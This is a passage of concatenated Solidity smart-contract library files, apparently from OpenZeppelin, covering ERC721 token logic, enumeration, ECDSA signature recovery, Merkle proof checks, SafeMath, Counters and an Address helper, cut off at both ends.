*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0
? string(abi.encodePacked(baseURI, tokenId.toString()))
: '';
}
/**
* @dev Base URI for computing {tokenURI}. Empty by default, can be overriden
* in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
// solhint-disable-next-line no-inline-assembly
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { }
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../ERC721.sol";
import "./IERC721Enumerable.sol";
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId
|| super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSA {
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
// Divide the signature in r, s and v variables
bytes32 r;
bytes32 s;
uint8 v;
// Check the signature length
// - case 65: r,s,v signature (standard)
// - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._
if (signature.length == 65) {
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
// solhint-disable-next-line no-inline-assembly
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
} else if (signature.length == 64) {
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
// solhint-disable-next-line no-inline-assembly
assembly {
let vs := mload(add(signature, 0x40))
r := mload(add(signature, 0x20))
s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
v := add(shr(255, vs), 27)
}
} else {
revert("ECDSA: invalid signature length");
}
return recover(hash, v, r, s);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `v`,
* `r` and `s` signature fields separately.
*/
function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) {
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "ECDSA: invalid signature 's' value");
require(v == 27 || v == 28, "ECDSA: invalid signature 'v' value");
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
require(signer != address(0), "ECDSA: invalid signature");
return signer;
}
/**
* @dev Returns an Ethereum Signed Message, created from a `hash`. This
* produces hash corresponding to the one signed with the
* https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
* JSON-RPC method as part of EIP-191.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
/**
* @dev Returns an Ethereum Signed Typed Data, created from a
* `domainSeparator` and a `structHash`. This produces hash corresponding
* to the one signed with the
* https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`]
* JSON-RPC method as part of EIP-712.
*
* See {recover}.
*/
function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev These functions deal with verification of Merkle Trees proofs.
*
* The proofs can be generated using the JavaScript library
* https://github.com/miguelmota/merkletreejs[merkletreejs].
* Note: the hashing algorithm should be keccak256 and pair sorting should be enabled.
*
* See `test/utils/cryptography/MerkleProof.test.js` for some examples.
*/
library MerkleProof {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(bytes32[] memory proof, bytes32 root, bytes32 leaf) internal pure returns (bool) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
} else {
// Hash(current element of the proof + current computed hash)
computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
}
}
// Check if the computed hash (root) is equal to the provided root
return computedHash == root;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
